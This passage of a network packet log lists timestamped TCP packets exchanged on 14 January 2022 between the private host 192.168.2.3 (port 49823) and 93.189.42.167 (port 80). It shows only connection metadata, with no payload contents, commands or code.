Jan 14, 2022 01:51:32.247412920 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247419119 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247462988 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247509956 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247517109 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247558117 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247606993 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247610092 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247658014 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247706890 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247713089 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247754097 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247801065 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247806072 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247850895 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247900009 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247919083 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247951031 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247998953 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248018980 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248048067 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248094082 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248107910 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248140097 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248186111 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248195887 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248234987 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248286009 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248291969 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248336077 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248384953 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248393059 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248434067 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248485088 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248490095 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248534918 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248584032 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248593092 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248631954 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248677969 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248692036 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248725891 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248773098 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248781919 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248819113 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248864889 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248873949 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.248912096 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248959064 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.248965979 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249006987 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249053955 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249062061 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249099016 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249145031 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249159098 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249191046 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249236107 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249253988 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249288082 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249335051 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249345064 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249382973 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249428988 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249443054 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249478102 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249526024 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249533892 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249567032 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249608994 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249624968 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249644041 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249676943 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249702930 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249706984 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249737978 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249768019 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249772072 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249799013 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249823093 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249830008 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249882936 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.249890089 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249933004 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249967098 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.249989033 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.250009060 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250035048 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250057936 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250063896 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.250083923 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250108004 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.250108957 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250133991 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250159025 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250159979 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.250184059 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250204086 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.250209093 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.250257015 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.250982046 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301229000 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301282883 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301331997 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301387072 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301389933 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301445961 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301462889 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301502943 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301559925 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301625967 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301641941 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301666021 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301701069 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301704884 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301740885 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301757097 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301768064 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301795959 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301820993 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301867008 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301867962 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301903963 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301903963 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301932096 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301958084 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.301968098 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.301985025 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302011967 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302027941 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302041054 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302064896 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302067995 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302094936 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302120924 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302151918 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302155972 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302181959 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302208900 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302210093 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302236080 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302237988 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302265882 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302294970 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302294970 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302323103 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302361965 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302378893 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302402020 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302422047 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302438974 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302476883 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302512884 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302530050 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302553892 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302570105 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302593946 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302632093 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302665949 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302678108 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302692890 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302717924 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302721024 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302745104 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302762032 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302772045 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302798033 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302824974 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302835941 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302850962 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302876949 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302885056 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302902937 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302927971 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302932978 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.302954912 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302982092 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.302982092 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303009987 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303030014 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303036928 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303069115 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303108931 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303117990 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303147078 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303160906 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303185940 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303224087 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303281069 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303297997 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303320885 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303349972 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303359985 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303394079 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303421021 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303421974 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303447008 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303472042 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303481102 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303498983 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303525925 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303535938 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303553104 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303565979 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303580046 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303605080 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303625107 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303631067 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303658009 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303682089 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303703070 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303709030 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303735018 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303750038 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303761959 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303787947 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303798914 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303813934 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303839922 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303853035 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303865910 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303889990 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303890944 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303917885 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303942919 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303970098 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.303971052 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.303997040 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304022074 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304028034 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.304050922 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304069996 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.304078102 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304101944 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.304105043 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304131031 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304157019 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.304157019 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304187059 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304208040 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.304235935 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304261923 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.304289103 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.305515051 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357078075 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357135057 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357189894 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357247114 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357287884 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357306957 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357332945 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357371092 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357451916 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357470036 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357511997 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357568979 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357630014 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357666969 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357685089 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357743979 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357754946 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357781887 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357805014 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357806921 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357835054 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357876062 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357891083 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357908964 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357934952 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357960939 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.357960939 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.357988119 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358012915 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358022928 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358038902 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358063936 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358066082 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358089924 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358103037 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358115911 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358141899 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358163118 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358169079 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358195066 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358221054 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358231068 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358251095 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358274937 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358274937 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358302116 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358314037 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358326912 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358352900 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358374119 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358378887 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358403921 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358429909 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358438015 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358455896 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358480930 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358481884 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358506918 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358520031 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358532906 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358558893 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358582973 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358584881 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358611107 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358635902 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358645916 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358663082 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358688116 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358690977 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358714104 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358731031 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358740091 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358762026 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358784914 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358799934 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358809948 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358834028 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358855009 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358872890 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358876944 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358890057 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358903885 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358906984 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358925104 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358942032 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358944893 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.358958960 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358975887 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.358993053 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359009027 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359009981 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359029055 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359052896 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359065056 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359076023 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359101057 CET	80	49823	93.189.42.167	192.168.2.3
